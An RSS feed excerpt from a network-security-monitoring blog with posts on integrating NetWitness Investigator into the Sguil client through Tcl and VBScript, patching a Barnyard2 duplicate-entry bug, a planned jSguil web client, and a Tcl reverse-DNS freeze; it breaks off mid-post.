		<description><![CDATA[<p>We have finished up our first round of testing against the modified version of the Sguil client (we have modified the 0.7.0 CVS version). Using the alert information displayed in the Sguil client we create a query and feed it into the NetWitness API through a vbscript which calls explorer.exe and passes it a NetWitness [...]]]></description>
			<content:encoded><![CDATA[<p>We have finished up our first round of testing against the modified version of the Sguil client (we have modified the 0.7.0 CVS version). Using the alert information displayed in the Sguil client we create a query and feed it into the <a href="http://www.netwitness.com/products/apisdk.aspx">NetWitness API</a> through a vbscript which calls explorer.exe and passes it a NetWitness URL. When you install NetWitness Investigator, it registers the nw://&lt;url&gt; as a protocol within the OS. This URL is the API/method by which you can use alerting from other products to find specific sessions, ip&#8217;s or timeframes of traffic to review in any combination.</p>
<p>To do this, we first modified the Xscript section of sguil.tk and removed the transcript and wireshark options as we are now relying upon NetWitness for pcap capture instead of daemonlogger/sancp/tcpdump etc:</p>
<pre># Xscript Menu
set eventIDMenut [ menu .eventIDMenut -background $SELECTBACKGROUND -foreground $SELECTFOREGROUND \
  -activeforeground $SELECTBACKGROUND -activebackground $SELECTFOREGROUND -tearoff 0 ]
$eventIDMenut add command -label "Event History" -command "GetEventHistory"
$eventIDMenut add command -label "NetWitness Src -&gt; Dst" -command "NetWitnessEvent from"
$eventIDMenut add command -label "NetWitness Dst -&gt; Src" -command "NetWitnessEvent to"</pre>
<p>You can see that we are calling the command NetWitnessEvent and passing it a value of from or to. The reason for this is that events that are triggered list the source and destination IP address for the particular packet that caused the alert. However, NetWitness is session aware, so you may need to query using the source address as the destination and vice versa. This is calling the NetWitnessEvent function that we have added to lib/extdata.tcl:</p>
<pre>proc NetWitnessEvent { direction } {
    global ACTIVE_EVENT SERVERHOST XSCRIPT_SERVER_PORT DEBUG CUR_SEL_PANE XSCRIPTDATARCVD
    global socketWinName SESSION_STATE WIRESHARK_STORE_DIR WIRESHARK_PATH
    if {!$ACTIVE_EVENT} {return}
    set selectedIndex [$CUR_SEL_PANE(name) curselection]
    set sidcidList [split [$CUR_SEL_PANE(name) getcells $selectedIndex,alertID] .]
    set cnxID [lindex $sidcidList 1]
    set sensorID [lindex $sidcidList 0]
    set proto [$CUR_SEL_PANE(name) getcells $selectedIndex,ipproto]
    set srcIP [$CUR_SEL_PANE(name) getcells $selectedIndex,srcip]
    set srcPort [$CUR_SEL_PANE(name) getcells $selectedIndex,srcport]
    set dstIP [$CUR_SEL_PANE(name) getcells $selectedIndex,dstip]
    set dstPort [$CUR_SEL_PANE(name) getcells $selectedIndex,dstport]
    if { $CUR_SEL_PANE(format) == "SSN" } {
       set timestamp [$CUR_SEL_PANE(name) getcells $selectedIndex,starttime]
    } else {
       set timestamp [$CUR_SEL_PANE(name) getcells $selectedIndex,date]
    }   
    set future [clock scan "2 minute" -base [clock scan $timestamp -gmt 1]]
    set past   [clock scan "-2 minute" -base [clock scan $timestamp -gmt 1]]
    set future [clock format $future -format {%Y-%m-%d+%H:%M:%S} -gmt 1]
    set past [clock format $past -format {%Y-%m-%d+%H:%M:%S} -gmt 1]
    set future [regsub -all -expanded {[\:]} $future {%3A}]
    set past [regsub -all -expanded {[\:]} $past {%3A}]
    if { $proto == "6" } {
        if { $direction == "from" } {
            exec wscript c:/users/analyst/nw.vbs "nw://broker/?name=TCP+%7C%7C+$srcIP%3A$srcPort+-%3E+$dstIP%3A$dstPort&amp;time=$past+to+$future&amp;view=session&amp;where=ip.src%3D$srcIP+%26%26+tcp.srcport%3D$srcPort+%26%26+ip.dst%3D$dstIP+%26%26+tcp.dstport%3D$dstPort"
        }
        if { $direction == "to" } {
            exec wscript c:/users/analyst/nw.vbs "nw://broker/?name=TCP+%7C%7C+$dstIP%3A$dstPort+-%3E+$srcIP%3A$srcPort&amp;time=$past+to+$future&amp;view=session&amp;where=ip.src%3D$dstIP+%26%26+tcp.srcport%3D$dstPort+%26%26+ip.dst%3D$srcIP+%26%26+tcp.dstport%3D$srcPort"
        }
    }
    if { $proto == "17" } {
     if { $direction == "from" } {
         exec wscript c:/users/analyst/nw.vbs "nw://broker/?name=UDP+%7C%7C+$srcIP%3A$srcPort+-%3E+$dstIP+%3A+$dstPort&amp;time=$past+to+$future&amp;view=session&amp;where=ip.src%3D$srcIP+%26%26+udp.srcport%3D$srcPort+%26%26+ip.dst%3D$dstIP+%26%26+udp.dstport%3D$dstPort"
     }
     if { $direction == "to" } {
         exec wscript c:/users/analyst/nw.vbs "nw://broker/?name=UDP+%7C%7C+$dstIP%3A$dstPort+-%3E+$srcIP+%3A+$srcPort&amp;time=$past+to+$future&amp;view=session&amp;where=ip.src%3D$dstIP+%26%26+udp.srcport%3D$dstPort+%26%26+ip.dst%3D$srcIP+%26%26+udp.dstport%3D$srcPort"
     }
    }
    if { $proto == "1" } {
        if { $direction == "from" } {
            exec wscript c:/users/analyst/nw.vbs "nw://broker/?name=ICMP+%7C%7C+$srcIP+-%3E+$dstIP&amp;time=$past+to+$future&amp;view=session&amp;where=ip.src%3D$srcIP+%26%26+ip.dst%3D$dstIP+%26%26+ip.proto%3D1"
        }
        if { $direction == "to" } {
            exec wscript c:/users/analyst/nw.vbs "nw://broker/?name=ICMP+%7C%7C+$dstIP+-%3E+$srcIP&amp;time=$past+to+$future&amp;view=session&amp;where=ip.src%3D$dstIP+%26%26+ip.dst%3D$srcIP+%26%26+ip.proto%3D1"
        }
    }
}</pre>
<p>This function will create different queries based upon protocol type (TCP/UDP/ICMP only currently) and use the source/destination address and source/destination port. It will look for sessions that match those specific values and then automatically open them in NetWitness Investigator:</p>
<p style="TEXT-ALIGN: center"><img class="size-full wp-image-159  aligncenter" title="sguilNetwitness1" src="http://trojanedbinaries.com/blog/wp-content/uploads/2010/01/sguilNetwitness1.jpg" alt="sguilNetwitness1" width="800" height="96" /></p>
<p>To replicate the SANCP session type queries, we again modify sguil.tk but this time we modify the IPQuery Menu section:</p>
<pre># IPQuery Menu
set ipQueryMenu [ menu .ipQueryMenu -background $SELECTBACKGROUND -foreground $SELECTFOREGROUND \
  -activeforeground $SELECTBACKGROUND -activebackground $SELECTFOREGROUND -tearoff 0 ]
.ipQueryMenu add cascade -label "Quick Query" -menu $ipQueryMenu.quickMenu
.ipQueryMenu add cascade -label "Advanced Query" -menu $ipQueryMenu.advancedMenu
.ipQueryMenu add cascade -label "Dshield IP Lookup" -menu $ipQueryMenu.dshieldIPMenu
.ipQueryMenu add cascade -label "Nessus Report Lookup" -menu $ipQueryMenu.nessusMenu
.ipQueryMenu add cascade -label "NetWitness Query" -menu $ipQueryMenu.netwitnessMenu

menu $ipQueryMenu.quickMenu -tearoff 0 -background $SELECTBACKGROUND -foreground $SELECTFOREGROUND -activeforeground $SELECTBACKGROUND -activebackground $SELECTFOREGROUND
menu $ipQueryMenu.advancedMenu -tearoff 0 -background $SELECTBACKGROUND -foreground $SELECTFOREGROUND -activeforeground $SELECTBACKGROUND -activebackground $SELECTFOREGROUND
menu $ipQueryMenu.dshieldIPMenu -tearoff 0 -background $SELECTBACKGROUND -foreground $SELECTFOREGROUND -activeforeground $SELECTBACKGROUND -activebackground $SELECTFOREGROUND
menu $ipQueryMenu.nessusMenu -tearoff 0 -background $SELECTBACKGROUND -foreground $SELECTFOREGROUND -activeforeground $SELECTBACKGROUND -activebackground $SELECTFOREGROUND
menu $ipQueryMenu.netwitnessMenu -tearoff 0 -background $SELECTBACKGROUND -foreground $SELECTFOREGROUND -activeforeground $SELECTBACKGROUND -activebackground $SELECTFOREGROUND

$ipQueryMenu.netwitnessMenu add command -label "SrcIP/1 Hour"           -command "NetWitness Src 1"
$ipQueryMenu.netwitnessMenu add command -label "SrcIP(as Dst)/1 Hour"   -command "NetWitness SrcAsDst 1"
$ipQueryMenu.netwitnessMenu add command -label "SrcIP/24 Hours"         -command "NetWitness Src 24"
$ipQueryMenu.netwitnessMenu add command -label "SrcIP(as Dst)/24 Hours" -command "NetWitness SrcAsDst 24"
$ipQueryMenu.netwitnessMenu add command -label "DstIP/1 Hour"           -command "NetWitness Dst 1"
$ipQueryMenu.netwitnessMenu add command -label "DstIP(as Src)/1 Hour"   -command "NetWitness DstAsSrc 1"
$ipQueryMenu.netwitnessMenu add command -label "DstIP/24 Hours"         -command "NetWitness Dst 24"
$ipQueryMenu.netwitnessMenu add command -label "DstIP(as Src)/24 Hours" -command "NetWitness DstAsSrc 24"
$ipQueryMenu.netwitnessMenu add command -label "Src To Dst/1 Hour"      -command "NetWitness SrcToDst 1"
$ipQueryMenu.netwitnessMenu add command -label "Dst To Src/1 Hour"      -command "NetWitness DstToSrc 1"
$ipQueryMenu.netwitnessMenu add command -label "Src To Dst/24 Hours"    -command "NetWitness SrcToDst 24"
$ipQueryMenu.netwitnessMenu add command -label "Dst To Src/24 Hours"    -command "NetWitness DstToSrc 24"
$ipQueryMenu.netwitnessMenu add command -label "Src To Dst/5 Days"      -command "NetWitness SrcToDst 120"
$ipQueryMenu.netwitnessMenu add command -label "Dst To Src/5 Days"      -command "NetWitness DstToSrc 120"
foreach { currentMenu subcommand } { .ipQueryMenu.quickMenu "quick" .ipQueryMenu.advancedMenu "build" } {
....truncated for brevity, everything below is should be as it was when you checked it out of CVS...</pre>
<p>You can see we are calling a proc/function called NetWitness and are passing it a variable for which address(es) we are interested in (and if they are source or destination addresses) along with some predefined time periods. You have much better flexibility and control if you actually create these queries within NetWitness directly, but just being able to right click makes for greater ease of use for analysts. This is calling the NetWitnessEvent function that we have added to lib/extdata.tcl:</p>
<pre>proc NetWitness { direction hours } {
    global ACTIVE_EVENT SERVERHOST XSCRIPT_SERVER_PORT DEBUG CUR_SEL_PANE XSCRIPTDATARCVD
    global socketWinName SESSION_STATE WIRESHARK_STORE_DIR WIRESHARK_PATH
    if {!$ACTIVE_EVENT} {return}
    set selectedIndex [$CUR_SEL_PANE(name) curselection]
    set sidcidList [split [$CUR_SEL_PANE(name) getcells $selectedIndex,alertID] .]
    set cnxID [lindex $sidcidList 1]
    set sensorID [lindex $sidcidList 0]
    set proto [$CUR_SEL_PANE(name) getcells $selectedIndex,ipproto]
    set srcIP [$CUR_SEL_PANE(name) getcells $selectedIndex,srcip]
    set srcPort [$CUR_SEL_PANE(name) getcells $selectedIndex,srcport]
    set dstIP [$CUR_SEL_PANE(name) getcells $selectedIndex,dstip]
    set dstPort [$CUR_SEL_PANE(name) getcells $selectedIndex,dstport]
    if { $CUR_SEL_PANE(format) == "SSN" } {
       set timestamp [$CUR_SEL_PANE(name) getcells $selectedIndex,starttime]
    } else {
       set timestamp [$CUR_SEL_PANE(name) getcells $selectedIndex,date]
    } 
    if {$hours == 1} {
     set future [clock scan "30 minute" -base [clock scan $timestamp -gmt 1]]
     set past   [clock scan "-30 minute" -base [clock scan $timestamp -gmt 1]]
    } else {
     set hours [expr $hours / 2]
     set future [clock scan "$hours hour" -base [clock scan $timestamp -gmt 1]]
     set past   [clock scan "-$hours hour" -base [clock scan $timestamp -gmt 1]]
    }
    set future [clock format $future -format {%Y-%m-%d+%H:%M:%S} -gmt 1]
    set past [clock format $past -format {%Y-%m-%d+%H:%M:%S} -gmt 1]
    set future [regsub -all -expanded {[\:]} $future {%3A}]
    set past [regsub -all -expanded {[\:]} $past {%3A}]   
    if { $direction == "Src" } {
     exec wscript c:/users/analyst/nw.vbs "nw://broker/?name=ip.src%3D$srcIP&amp;time=$past+to+$future&amp;where=ip.src%3D$srcIP"
    }
    if { $direction == "SrcAsDst" } {
        exec wscript c:/users/analyst/nw.vbs "nw://broker/?name=ip.dst%3D$srcIP&amp;time=$past+to+$future&amp;where=ip.dst%3D$srcIP"
    }
    if { $direction == "Dst" } {
     exec wscript c:/users/analyst/nw.vbs "nw://broker/?name=ip.dst%3D$dstIP&amp;time=$past+to+$future&amp;where=ip.dst%3D$dstIP"
    }
    if { $direction == "DstAsSrc" } {
     exec wscript c:/users/analyst/nw.vbs "nw://broker/?name=ip.src%3D$dstIP&amp;time=$past+to+$future&amp;where=ip.src%3D$dstIP"
    }
    if { $direction == "SrcToDst" } {
     exec wscript c:/users/analyst/nw.vbs "nw://broker/?name=$srcIP+-%3E+$dstIP&amp;time=$past+to+$future&amp;where=ip.src%3D$srcIP+%26%26+ip.dst%3D$dstIP"
    }
    if { $direction == "DstToSrc" } {
         exec wscript c:/users/analyst/nw.vbs "nw://broker/?name=$dstIP+-%3E+$srcIP&amp;time=$past+to+$future&amp;where=ip.src%3D$dstIP+%26%26+ip.dst%3D$srcIP"
    }
}</pre>
<p>Now we can right click on IP&#8217;s within Sguil and use the alert data to perform these SANCP queries into NetWitness as shown below:</p>
<p style="TEXT-ALIGN: center"><img class="size-full wp-image-160  aligncenter" title="sguilNetwitness2" src="http://trojanedbinaries.com/blog/wp-content/uploads/2010/01/sguilNetwitness2.jpg" alt="sguilNetwitness2" width="800" height="398" /></p>
<p>You may have noticed that the nw://&lt;url&gt;&#8217;s are being passed to a visual basic script entitled nw.vbs within the analyst accounts home directory. We had some issues with executing long length commands from within TCL and ran into 8.3 filename limitations as well. The vbscript is very simple and uses the run method to execute explorer.exe while passing it the URL we have formed to perform the query in NetWitness Investigator. If NetWitness Investigator is not running, it will open up and prompt you for your authentication credentials. Additionally, if is already open it will just create a tab in the investigator and display you the sessions/reports. The contents of the nw.vbs file are as follows, it may look weird butyou have to escape quotes with quotes when you do vb scripting so it looks like you have gone quote crazy:</p>
<pre>Set objShell = Wscript.CreateObject("Wscript.Shell")
Set ArgObj = WScript.Arguments

Cmd = """" &amp; "c:\windows\system32\explorer.exe" &amp; """" &amp; " " &amp; """" &amp; WScript.Arguments.Item(0) &amp; """"

objShell.Run Cmd</pre>
]]></content:encoded>
			<wfw:commentRss>http://trojanedbinaries.com/blog/?feed=rss2&amp;p=158</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Fixing Barnyard2 Duplicate Database Entries With Sguil Output</title>
		<link>http://trojanedbinaries.com/blog/?p=149</link>
		<comments>http://trojanedbinaries.com/blog/?p=149#comments</comments>
		<pubDate>Sat, 12 Dec 2009 03:53:42 +0000</pubDate>
		<dc:creator>Eoin Miller</dc:creator>
				<category><![CDATA[Barnyard2]]></category>
		<category><![CDATA[Sguil]]></category>
		<category><![CDATA[duplicate]]></category>
		<category><![CDATA[patch]]></category>

		<guid isPermaLink="false">http://trojanedbinaries.com/blog/?p=149</guid>
		<description><![CDATA[<p>Well the good folks over at SecurixLive.com have already fixed this and a few other little things and rolled it into their latest release of Barnyard2 v1.8-beta1. Go and get it!</p>
<p>We have identified an issue with Barnyard2 version 1.7 build 255 that causes duplicate entries to be created in the Sguil database. The issue was that the [...]]]></description>
			<content:encoded><![CDATA[<p>Well the good folks over at <a href="http://www.securixlive.com">SecurixLive.com</a> have already fixed this and a few other little things and rolled it into their latest release of <a href="http://www.securixlive.com/barnyard2/download.php">Barnyard2 v1.8-beta1</a>. Go and get it!</p>
<p>We have identified an issue with <a href="http://www.securixlive.com/barnyard2/index.php">Barnyard2</a> version 1.7 build 255 that causes duplicate entries to be created in the <a href="http://sguil.sourceforge.net">Sguil</a> database. The issue was that the entries in the unified2 output from <a href="http://www.snort.org">Snort</a> will be read into two seperate lists (<code>AlertList</code> and <code>LogList</code>) as the unified2 log file is processed. Elsewhere in the Barnyard2 code, all the relavent information is stored into a buffer for creating the Sguil database entry for the alert (summary of event) and the log (offending packet) prior to firing off the output logging. The debugging output shows you that the <code>SPECIAL</code> style output is going to be used for the event/packet combo that was pulled out of the unified2 output file:</p>
<pre>spi_unified2.c:151: Header: Type=7 (52 bytes)
spi_unified2.c:159: Reading record type=7 (52 bytes)
spi_unified2.c:320: Type: Event -------------------------------------------
spi_unified2.c:322:   sensor_id          = 0
spi_unified2.c:324:   event_id           = 4
spi_unified2.c:326:   event_second       = 1260520646
spi_unified2.c:328:   event_microsecond  = 383469
spi_unified2.c:330:   generator_id       = 1
spi_unified2.c:332:   signature_id       = 2009236
spi_unified2.c:334:   signature_revision = 5
spi_unified2.c:336:   classification_id  = 21
spi_unified2.c:338:   priority_id        = 1
spi_unified2.c:353:   ip_source          = 192.168.1.5
spi_unified2.c:356:   sport_itype        = 57019
spi_unified2.c:359:   ip_destination     = 71.191.147.210
spi_unified2.c:361:   dport_icode        = 80
spi_unified2.c:364:   ip_protocol        = 6
spi_unified2.c:366:   packet_action      = 0
spi_unified2.c:151: Header: Type=2 (244 bytes)
spi_unified2.c:159: Reading record type=2 (244 bytes)
spi_unified2.c:403: Type: Packet ------------------------------------------
spi_unified2.c:405:   sensor_id          = 0
spi_unified2.c:407:   event_id           = 4
spi_unified2.c:409:   event_second       = 1260520646
spi_unified2.c:411:   linktype           = 1
spi_unified2.c:413:   packet_second      = 1260520646
spi_unified2.c:415:   packet_microsecond = 383469
spi_unified2.c:417:   packet_length      = 216
spi_unified2.c:422:   packet             = 18 01 bb 24
decode.c:113: Decoding linktype 1
decode.c:314: Packet!
decode.c:314: caplen: 216    pktlen: 216
decode.c:341: 0:21:9B:69:E0:9 -&gt; 0:18:1:BB:24:4F
decode.c:345: type:0x800 len:0xD8
decode.c:355: IP datagram size calculated to be 202 bytes
decode.c:2648: Packet!
decode.c:2822: IP Checksum: OK
decode.c:2899: IP header length: 20
decode.c:3023: TCP th_off is 5, passed len is 182
decode.c:3103: TCP Checksum: OK
decode.c:3107: tcp header starts at: 0x80dcd9e
spooler.c:655: Firing SPECIAL style (Packet+Event)</pre>
<p>So the debugging shows us only firing off once with <code>SPECIAL</code> style (Packet+Event). But if we look at the output presented to <code>STDOUT</code>, we see that the same alert inserted twice into the Sguil server (we have omitted packet contents for brevity):</p>
<pre>sguil: sending "RTEVENT 0 1 199 sguil 4 4 {2009-12-11 03:37:26} 1 2009236 5 {ET USER_AGENTS Pigeon.AYX/AVKill Related User-Agent (CTTBasic) } {2009-12-11 03:37:26} 1 trojan-activity 3232235781 192.168.1.5 1203737554 71.191.147.210 6 4 5 0 202 2472 2 0 128 21319 {} {} {} {} {} 57019 80 309364297 2715104879 5 0 24 16425 7600 0 {} {}"
sguil: Received: Confirm 199
sguil: sending "RTEVENT 0 1 200 sguil 4 4 {2009-12-11 03:37:26} 1 2009236 5 {ET USER_AGENTS Pigeon.AYX/AVKill Related User-Agent (CTTBasic) } {2009-12-11 03:37:26} 1 trojan-activity 3232235781 192.168.1.5 1203737554 71.191.147.210 6 4 5 0 202 2472 2 0 128 21319 {} {} {} {} {} 57019 80 309364297 2715104879 5 0 24 16425 7600 0 {} {}"
sguil: Received: Confirm 200</pre>
<p>So this lead us to inspect <code>src/spooler.c</code> which lead us to <code>src/plugbase.c CallOutputPlugins()</code> function. While reviewing it, we notice that if the <code>OUTPUT_TYPE__SPECIAL</code> (which Sguil is) is set, then it will process <code>idx-func()</code> once for the entry in the <code>AlertList</code> and once for the <code>LogList</code>:</p>
<pre><tt>void CallOutputPlugins(OutputType out_type, Packet *packet, void *event, uint32_t event_type)
{
    OutputFuncNode *idx = NULL;

    if (out_type == OUTPUT_TYPE__SPECIAL)
    {
        idx = AlertList;
        while (idx != NULL)
        {
            idx-&gt;func(packet, event, event_type, idx-&gt;arg);
            idx = idx-&gt;next;
        }

        idx = LogList;
        while (idx != NULL)
        {
            idx-&gt;func(packet, event, event_type, idx-&gt;arg);
            idx = idx-&gt;next;
        }
    }</tt></pre>
<p>So if we remove the processing the second time around for the <code>LogList</code>, we are able to stop the double entries from being created in the database. Below is what the patch (which you can <a href="wp-content/uploads/2009/12/plugbase.c.patch">download here</a>) looks like. Obviously, you can just delete the lines with the single minus sign in front of them that are located within the <code>CallOutputPlugins()</code> function of <code>src/plugbase.c</code>:</p>
<pre>--- plugbase.c  2009-10-17 06:08:55.000000000 -0400
+++ plugbase.c.new      2009-12-11 21:59:22.000000000 -0500
@@ -543,13 +543,6 @@
                idx-&gt;func(packet, event, event_type, idx-&gt;arg);
                idx = idx-&gt;next;
        }
-
-        idx = LogList;
-       while (idx != NULL)
-       {
-               idx-&gt;func(packet, event, event_type, idx-&gt;arg);
-               idx = idx-&gt;next;
-       }
     }
     else
     {</pre>
<p>To apply the patch, move it to the <code>src/</code> directory within the Barnyard2 v 1.7 distribution directory and perform the following then compile/install as normal:</p>
<pre>#patch plugbase.c &lt; plugbase.c.patch</pre>
<p>Additional things we discovered during the troubleshooting process were how to enable the debugging within Barnyard2. You must first compile it with the <code>--enable-debug</code> option, then prior to running it you must set the environment variable <code>BARNYARD2_DEBUG</code> to one of the numbers listed in <code>src/debug.h</code> (if you want everything, and that IS a lot, just do <code>export BARNYARD2_DEBUG=4294967295</code>).</p>
]]></content:encoded>
			<wfw:commentRss>http://trojanedbinaries.com/blog/?feed=rss2&amp;p=149</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Integrating NetWitness and Sguil &#8211; Take One</title>
		<link>http://trojanedbinaries.com/blog/?p=143</link>
		<comments>http://trojanedbinaries.com/blog/?p=143#comments</comments>
		<pubDate>Tue, 08 Dec 2009 10:41:25 +0000</pubDate>
		<dc:creator>Eoin Miller</dc:creator>
				<category><![CDATA[NetWitness]]></category>
		<category><![CDATA[Sguil]]></category>
		<category><![CDATA[integrate]]></category>

		<guid isPermaLink="false">http://trojanedbinaries.com/blog/?p=143</guid>
		<description><![CDATA[<p>We will be deploying NetWitness soon and we have been looking for how to leverage it for the packet capture portion of our new centralized Sguil deployment instead of sancp or daemonlogger. We have come up with a way, all be it a bit hackish, of modifying the Sguil client to allow you to view [...]]]></description>
			<content:encoded><![CDATA[<p>We will be deploying <a href="http://www.netwitness.com">NetWitness</a> soon and we have been looking for how to leverage it for the packet capture portion of our new centralized <a href="http://sguil.sourceforge.net/">Sguil</a> deployment instead of <a href="http://www.metre.net/sancp.html">sancp</a> or<a href="http://www.snort.org/users/roesch/Site/Daemonlogger/Daemonlogger.html"> daemonlogger</a>. We have come up with a way, all be it a bit hackish, of modifying the Sguil client to allow you to view the pcap/session data from within NetWitness Investigator.</p>
<p>First, we modified client/sguil.tk and added the following line under the following line underneath the section of code notated by the comment <code># Xscript Menu</code>:</p>
<pre>$eventIDMenut add command -label "NetWitness" -command "NetWitness"</pre>
<p>This will provide us with a NetWitness menu option where you normally see your Wireshark and Get Transcript options within the Sguil client:</p>
<p style="TEXT-ALIGN: center"><img class="size-full wp-image-145  aligncenter" title="Sguil and NetWitness" src="http://trojanedbinaries.com/blog/wp-content/uploads/2009/12/SguilandNetWitness1.jpg" alt="Sguil and NetWitness" width="807" height="300" /></p>
<p>Now that we have that, we need code that will do something when this option is selected. For that we need to add the following to the end of the client/lib/extdata.tcl file:</p>
<pre>proc NetWitness { } {
    global ACTIVE_EVENT SERVERHOST XSCRIPT_SERVER_PORT DEBUG CUR_SEL_PANE XSCRIPTDATARCVD
    global socketWinName SESSION_STATE WIRESHARK_STORE_DIR WIRESHARK_PATH
    if {!$ACTIVE_EVENT} {return}
    set selectedIndex [$CUR_SEL_PANE(name) curselection]
    set sidcidList [split [$CUR_SEL_PANE(name) getcells $selectedIndex,alertID] .]
    set cnxID [lindex $sidcidList 1]
    set sensorID [lindex $sidcidList 0]
    set proto [$CUR_SEL_PANE(name) getcells $selectedIndex,ipproto]

    set srcIP [$CUR_SEL_PANE(name) getcells $selectedIndex,srcip]
    set srcPort [$CUR_SEL_PANE(name) getcells $selectedIndex,srcport]
    set dstIP [$CUR_SEL_PANE(name) getcells $selectedIndex,dstip]
    set dstPort [$CUR_SEL_PANE(name) getcells $selectedIndex,dstport]
    if { $CUR_SEL_PANE(format) == "SSN" } {
       set timestamp [$CUR_SEL_PANE(name) getcells $selectedIndex,starttime]
    } else {
       set timestamp [$CUR_SEL_PANE(name) getcells $selectedIndex,date]
    }

    exec wscript c:/users/user/test.vbs "nw://test?collection=test&amp;time=All+Data&amp;more-states=&amp;more-all-states=&amp;name=$srcIP+%3E+$dstIP+%3A+$dstPort&amp;where=ip.src%3D$srcIP+%26%26+ip.dst%3D$dstIP+%26%26+tcp.dstport%3D$dstPort&amp;view=session"
}</pre>
<p>Now you will notice at the second to last line we are executing a vbscript called test.vbs in c:\users\user\. The contents of that file are as follows (and yes, all those quotes are necessary as you escape a quote with another quote when writing vbscript):</p>
<pre>Set objShell = Wscript.CreateObject("Wscript.Shell")
Set ArgObj = WScript.Arguments

Cmd = """" &amp; "c:\windows\system32\explorer.exe" &amp; """" &amp; " " &amp; """" &amp; WScript.Arguments.Item(0) &amp; """"

objShell.Run Cmd</pre>
<p>When this gets executed, it will have the NetWitness url (nw://&lt;url&gt;) with the source ip, destination ip and destination port, passed to the Windows shell (explorer.exe). We will be going back and adding time into the mix as well once our actual NetWitness deployment is up and running. We are currently just testing and demonstrating for proof of concept using the free version of NetWitness Investigator 9:</p>
<p style="TEXT-ALIGN: center"><img class="size-full wp-image-146  aligncenter" title="SguilandNetWitness2" src="http://trojanedbinaries.com/blog/wp-content/uploads/2009/12/SguilandNetWitness2.jpg" alt="SguilandNetWitness2" width="807" height="510" /></p>
<p>Now, this definately does not seem like the most direct or correct way to do this. However, we discovered some odd behavior that lead us down this path. If you attempt to pass the URL directly to the NwInvestigator.exe binary, it will crash it. If you attempt to pass the URL directly to explorer.exe from within the TCL script, it only opens up explorer but it does not open up NetWitness Investigator. I believe it has something to do with the quoted arguments and how they are passed, but I could not fix it as I know little of TCL and even less about how it works on Windows.</p>
]]></content:encoded>
			<wfw:commentRss>http://trojanedbinaries.com/blog/?feed=rss2&amp;p=143</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>jSguil</title>
		<link>http://trojanedbinaries.com/blog/?p=133</link>
		<comments>http://trojanedbinaries.com/blog/?p=133#comments</comments>
		<pubDate>Tue, 01 Dec 2009 13:32:18 +0000</pubDate>
		<dc:creator>Eoin Miller</dc:creator>
				<category><![CDATA[Sguil]]></category>
		<category><![CDATA[jSguil]]></category>

		<guid isPermaLink="false">http://trojanedbinaries.com/blog/?p=133</guid>
		<description><![CDATA[<p>We really do love Sguil, but the client and server lack a few desirable things. As far as I can tell, there is only one SQL connection shared between the server and all the clients connecting to it. Obviously if someone runs a SANCP query that is a little over the top, until it comes back [...]]]></description>
			<content:encoded><![CDATA[<p>We really do love <a href="http://sguil.sourceforge.net/">Sguil</a>, but the client and server lack a few desirable things. As far as I can tell, there is only one SQL connection shared between the server and all the clients connecting to it. Obviously if someone runs a SANCP query that is a little over the top, until it comes back everyone else cannot query the database. This would make sense as the Sguil server requires the <a href="http://wiki.tcl.tk/16140"><strong>non</strong>-threaded version of TCL</a> to work. <a href="http://en.wikipedia.org/wiki/LAMP_(software_bundle)">LAMP</a> based applications don&#8217;t run into this single connection for all users bottleneck as Apache and MySQL are multithreaded and each request will create its own (or multiple) database connection for the POST/GET and then close it on completion. I already knew about <a href="http://squert.sourceforge.net/">SQuerT</a>, but it lacks a few things, such as an authentication mechanism.  There also is a <a href="http://sguil.cvs.sourceforge.net/viewvc/sguil/sguil/web/">web client directly associated with the Sguil project</a>, but it was never fully completed and most of the application is a mock up. Lastly, the current Sguil clients will not be that easy to integrate with our upcoming <a href="http://www.netwitness.com/">NetWitness</a> deployment. The combination of which, should be quite awesome.</p>
<p>So I have decided to start developing, what I am calling for now, jSguil. It will be along the lines of SQuerT in that it is not to be a function for function replacement for the standard TCL Sguil client. This basically gives me an excuse to actually buckle down and learn JSON/jQuery/webtwodotoh. It will be written in <a href="http://php.net/">PHP</a> and utilize <a href="http://jquery.com">jQuery</a>/<a href="http://www.trirand.com/blog/">jqgrid</a>. Development so far has been slow and painful as I continiously learn how to actually write PHP/JavaScript (sort of). It end up with me having to redo the entire thing I just spent two hours on due to discovering how to do something in a much better manner. Below is a screenshot of just the SANCP queries you can run. You can sort the results of each column by clicking on it. You may also notice the data is paginated and is currently allowing you to view 50/200/500 records at a time. Every time you sort or get a new page, another query is executed for only the number of  records you have chosen to display. This keeps the response times quite fast, even on large resultsets.</p>
<p><img class="aligncenter size-full wp-image-134" title="jSguil" src="http://trojanedbinaries.com/blog/wp-content/uploads/2009/12/jSguil.gif" alt="jSguil" width="840" height="450" /></p>
]]></content:encoded>
			<wfw:commentRss>http://trojanedbinaries.com/blog/?feed=rss2&amp;p=133</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Sguil Client Reverse DNS Causes Client To Freeze?</title>
		<link>http://trojanedbinaries.com/blog/?p=129</link>
		<comments>http://trojanedbinaries.com/blog/?p=129#comments</comments>
		<pubDate>Fri, 27 Nov 2009 11:12:22 +0000</pubDate>
		<dc:creator>Eoin Miller</dc:creator>
				<category><![CDATA[Sguil]]></category>

		<guid isPermaLink="false">http://trojanedbinaries.com/blog/?p=129</guid>
		<description><![CDATA[<p>If you have ever tried to use the Sguil client&#8217;s reverse DNS under the IP Resoluation tab and noticed that it caused the application to be unresponsive, here is the reason why. Tcl uses TCP for DNS by default. So if your DNS server does not allow TCP DNS, the client just sits there endlessly [...]]]></description>
			<content:encoded><![CDATA[<p>If you have ever tried to use the <a href="http://sguil.sourceforge.net/">Sguil</a> client&#8217;s reverse DNS under the IP Resoluation tab and noticed that it caused the application to be unresponsive, here is the reason why. <a href="http://www.tcl.tk">Tcl</a> uses TCP for DNS by default. So if your DNS server does not allow TCP DNS, the client just sits there endlessly attempting to create the TCP socket connection everytime it tries to do a gehostbyaddress(). You can review the configuration by doing the following inside of tclsh:</p>
<p><code># tclsh<br />
% package require dns<br />
1.3.2<br />
% dns::configure<br />
-loglevel warn -nameserver 192.168.1.1 -port 53 -protocol tcp -search {} -timeout 30000</code></p>
<p>If you want the client to do UDP DNS queries, you have to ensure you have the <a href="http://tcludp.sourceforge.net/">tcludp</a> package installed. With Ubuntu, the package is named libudp-tcl. So the following should get you Ubuntu guys where you need to go:</p>
<p><code># apt-get install libudp-tcl<br />
<code># tclsh<br />
% package require dns<br />
